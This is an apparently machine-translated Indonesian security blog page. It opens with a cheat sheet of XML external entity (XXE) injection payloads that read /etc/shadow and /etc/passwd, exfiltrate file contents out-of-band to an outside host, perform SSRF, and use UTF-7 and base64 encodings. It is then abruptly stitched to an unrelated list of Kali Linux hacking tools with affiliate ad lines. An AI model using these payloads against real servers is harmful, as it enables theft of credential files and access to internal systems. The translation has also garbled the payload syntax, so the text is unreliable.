CARA ALAT SEO KURSUS KEAMANAN CYBER PEKERJAAN KONTAK

CARA ALAT SEO KURSUS KEAMANAN CYBER PEKERJAAN KONTAK


Entri Eksternal XML (Entitas Eksternal (XXE))

oleh Priyanshu Sahay

Lembar Cheat Payload Injeksi XXE

Entitas Eksternal XML (XXE) Daftar Muatan Injeksi

Dalam artikel ini, kami akan menjelaskan apa itu injeksi entitas eksternal XML, dan contoh umum mereka, menjelaskan bagaimana menemukan dan mengeksploitasi berbagai jenis injeksi XXE, dan merangkum cara mencegah serangan injeksi XXE.

Serangan XML dapat mencakup pengungkapan file lokal, yang mungkin berisi data sensitif seperti kata sandi atau data pengguna pribadi, menggunakan file: skema atau jalur relatif di pengidentifikasi sistem.

Karena serangan itu terjadi relatif terhadap aplikasi yang memproses dokumen XML, penyerang dapat menggunakan aplikasi tepercaya ini untuk berporos ke sistem internal lain, mungkin mengungkapkan konten internal lainnya melalui permintaan (http) atau meluncurkan serangan CSRF ke layanan internal yang tidak dilindungi.

Dalam beberapa situasi, pustaka prosesor XML yang rentan terhadap masalah korupsi memori sisi klien dapat dieksploitasi dengan mendereferensi URI berbahaya, mungkin memungkinkan eksekusi kode arbitrer di bawah akun aplikasi.

Serangan lain dapat mengakses sumber daya lokal yang mungkin tidak menghentikan pengembalian data, mungkin memengaruhi ketersediaan aplikasi jika terlalu banyak utas atau proses tidak dirilis.

Apa itu injeksi entitas eksternal XML?

Injeksi entitas eksternal XML (juga dikenal sebagai XXE) adalah kerentanan keamanan web yang memungkinkan penyerang mengganggu pemrosesan data XML aplikasi. Seringkali memungkinkan penyerang untuk melihat file pada sistem file server aplikasi, dan untuk berinteraksi dengan sistem backend atau eksternal yang dapat diakses oleh aplikasi itu sendiri.

Dalam beberapa situasi, penyerang dapat meningkatkan serangan XXE untuk mengkompromikan server yang mendasarinya atau infrastruktur backend lainnya, dengan memanfaatkan kerentanan XXE untuk melakukan serangan pemalsuan permintaan sisi-server (SSRF).

Ada berbagai jenis serangan XXE:

Memanfaatkan XXE untuk Mengambil File

Di mana entitas eksternal didefinisikan berisi konten file, dan dikembalikan sebagai respons aplikasi.

Memanfaatkan XXE untuk Melakukan Serangan SSRF

Di mana entitas eksternal ditentukan berdasarkan URL ke sistem back-end.

Mengeksploitasi Blind XXE Exfiltrate Data Out-of-Band

Di mana data sensitif ditransmisikan dari server aplikasi ke sistem yang dikendalikan oleh penyerang.

Memanfaatkan blind XXE untuk Mengambil Data Melalui Pesan Kesalahan

Di mana penyerang dapat memicu pesan kesalahan parsing yang berisi data sensitif.

XML External Entity (XXE) Muatan Injeksi adalah sebagai berikut-

XXE: Contoh XML Dasar

<! -? xml version = "1.0"? -> John Doe



XXE: Contoh Entitas

<! -? xml version = "1.0"? -> <! DOCTYPE ganti [<! ENTITY contoh "Doe">]> John & example;



XXE: Pengungkapan File

<! -? xml version = "1.0"? -> <! DOCTYPE ganti [<! ENTITY ent SYSTEM "file: /// etc / shadow">]> John & ent;



XXE: Contoh Penyertaan File Lokal

<! DOCTYPE foo [ <! ELEMENT foo (#ANY)> <! ENTITY xxe SYSTEM "file: /// etc / passwd">]> & xxe;



XXE: Contoh Penyertaan File Lokal Buta (Ketika case pertama tidak mengembalikan apa-apa).

<! DOCTYPE foo [ <! ELEMENT foo (#ANY)> <! ENTITY% xxe SYSTEM "file: /// etc / passwd"> <! ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]> & blind;



XXE: Akses Kontrol Bypass (Memuat Sumber Daya Terbatas - contoh PHP)

<! DOCTYPE foo [ <! ENTITY ac SYSTEM "php: //filter/read=convert.base64-encode/resource=http: //example.com/viewlog.php">]> ∾



XXE: Contoh SSRF (Pemalsuan Permintaan Sisi Server)

<! DOCTYPE foo [ <! ELEMENT foo (#ANY)> <! ENTITY xxe SYSTEM "https://www.example.com/text.txt">]> & xxe;



XXE: (Serangan Jarak Jauh - Melalui Penyertaan Xml Eksternal) Contoh

<! DOCTYPE lolz [ <! SISTEM uji ENTITY "https://example.com/entity1.xml">]> 3..2..1...&test XXE: Contoh UTF-7 + ADwAIQ-DOCTYPE foo + AFs + ADwAIQ-ELEMENT foo SETIAP + AD4 + ADwAIQ-ENTITY xxe SYSTEM + ACI-http: //hack-r.be: 1337 + ACI + AD4AXQA + + ADw-foo + AD4AJg-xxe + ADsAPA- / foo + AD4 XXE: Base64 Dienkripsi <! Tes DOCTYPE [<! ENTITY% init SYSTEM "data: // text / plain; base64, ZmlsZTovLy9ldGMvcGFzc3dk">% init; ]>



XXE: XXE di dalam SOAP Contoh

<! [CDATA [<! DOCTYPE doc [<! ENTITY% dtd SYSTEM "http: // xxxx: 22 /">% dtd;]> ]]> </ sabun: Tubuh>



XXE: XXE di dalam SVG

7 Alat Hacking Terbaik Untuk Kali Linux

7 Alat Hacking Terbaik Untuk Kali Linux

oleh Priyanshu Sahay
Di terjemahkan oleh ZaktiZarna

Anda mungkin pernah melihat banyak peretas di film-film Hollywood yang membuat peretasan menyenangkan dan dengan mudah mendapatkan akses ke komputer atau laptop apa pun.

Tapi, tidak mudah untuk masuk ke sistem apa pun di dunia nyata. Ada banyak orang yang tertarik dalam peretasan seperti film-film Hollywood dan Kali Linux adalah sistem operasi terbaik untuk melakukannya sesuai dengan banyak ahli.

Ada banyak alat peretas sumber terbuka yang dapat Anda gunakan untuk masuk ke komputer apa pun sesuai kebutuhan Anda.

Lihatlah daftar 7 alat peretas terbaik untuk Kali Linux yang tercantum di bawah ini:

🌟John the Ripper

   John the Ripper adalah alat peretasan yang sangat populer yang harus digunakan oleh pengguna Kali Linux. Ini adalah alat perengkahan yang digunakan dalam pengujian penetrasi. Dikembangkan oleh Unix Systems, alat ini memiliki banyak teknik peretasan seperti deteksi hash kata sandi otomatis, serangan brute force, cracker kustomisasi, dan serangan kamus

Paket ini mendukung jenis hash Unix crypt seperti berbasis DES tradisional, "bigcrypt", BSDI extended berbasis DES, FreeBSD MD5, dan OpenBSD Blowfish berbasis. Alat peretas kata sandi gratis ini berjalan pada lima belas platform yang berbeda sekarang. Selain itu, sangat mudah digunakan dan dioperasikan untuk memecahkan kata sandi. Anda juga dapat mencoba beberapa antivirus online terbaik dengan Penawaran Amazon yang akan memberi Anda harga bagus tahun ini.

🌟NMap (Network Mapper)

   NMap atau Network Mapper adalah alat open source yang tersedia secara gratis. Alat ini sangat populer di kalangan administrator jaringan yang menggunakannya untuk menemukan jaringan dan mengamankan jaringan. NMap sangat halus untuk digunakan dan didokumentasikan dengan sangat baik.

Administrator Jaringan menggunakan NMap untuk terus memeriksa host tunggal dan jaringan besar dan mendeteksi risiko keamanan. Alat ini mendukung fitur seperti transfer data dan GUI. Alat selanjutnya adalah alat pemindaian port yang berguna yang mengumpulkan informasi dengan mengirimkan paket ke port sistem.

🌟Kerangka Metasploit

     Platform berbasis Ruby ini digunakan untuk menguji eksploitasi terhadap host. Bukan hanya ini, tetapi Anda juga dapat mengembangkan dan mengeksekusi eksploitasi juga. Kerangka kerja Metasploit berisi pustaka besar alat yang dapat digunakan untuk pengujian penetrasi, mengeksploitasi kerentanan, menggunakan msfconsole untuk menemukan target, mengeksploitasi risiko keamanan dan banyak lagi. Dikatakan bahwa Metasploit Framework adalah salah satu alat keamanan paling kuat di pasar infosec.

🌟WireShark

    WireShark adalah alat sumber terbuka yang menganalisis paket dan tidak ada biaya. Ini adalah alat yang hebat untuk terus memeriksa aktivitas jaringan pada level yang sangat dalam. Tidak hanya ini, tetapi Anda juga dapat menggunakan WireShark untuk menangkap transfer paket langsung, browse dan filter juga.

WireShark sangat berguna untuk peretas (etis) yang memberikan fitur seperti akses file pcap, laporan yang dapat disesuaikan, peringatan, pemicu tingkat lanjut, dan banyak lagi. Itu sebabnya ini adalah penganalisa protokol jaringan yang paling banyak digunakan di dunia untuk Kali Linux.

   🌟 Kismet Wireless

Kismet Wireless adalah alat gratis yang digunakan sebagai sniffer nirkabel, Intrusion Detection System (IDS) , dan LAN analyzer. Alat ini kompatibel dengan banyak kartu nirkabel dan dapat digunakan untuk bekerja dengan jaringan nirkabel seperti 802.11a, 802.11b, 802.11g, dan 802.11n.

Alat Kismet WIreless memiliki kemampuan untuk berjalan dalam mode pasif, melakukan pendataan jaringan dan bertindak sebagai Sistem Deteksi Intrusi Nirkabel juga. Ini dapat dengan mudah memindai tingkat enkripsi nirkabel dan mendukung lompatan saluran. Anda dapat menjelajahi memesan beberapa antivirus online terbaik dunia dengan Penawaran Flipkart dengan harga diskon besar .

🌟Aircrack-ng

     Aircrack-ng adalah alat keamanan yang terdiri dari penganalisis paket, cracker jaringan, WPA / WPA2-PSK, dan lebih banyak alat penganalisa paket nirkabel. Alat paling populer yang termasuk dalam Aircrack-ng adalah Airmon-Ng, Aircrack-Ng, Aireplay-Ng, dan Airdecap-Ng.

Alat ini memberikan berbagai fitur seperti dukungan kata sandi WEP, WPA / WPA2-PSK, mengendus paket, memulihkan kata sandi kunci WEP dan membuat terowongan virtual.

🌟BeEF (Kerangka Eksploitasi Browser)

    Kerangka Eksploitasi Browser juga dikenal sebagai BeEF adalah alat penetrasi yang menemukan risiko dan kerentanan browser untuk mengeksploitasi host. Alat-alat ini benar-benar fokus pada sisi web - mulai dari serangan pada ponsel, klien desktop hingga menganalisis eksploitasi pada Mac dan Linux apa pun. Ini terdiri dari banyak fitur seperti web UI, kemampuan untuk menemukan plugin yang digunakan di browser, mengumpulkan sejarah dan mengintegrasikan Metasploit.

     Ini adalah beberapa alat yang dapat Anda gunakan untuk memeriksa jaringan, menganalisis risiko apa pun dalam jaringan, pengujian penetrasi, dan lainnya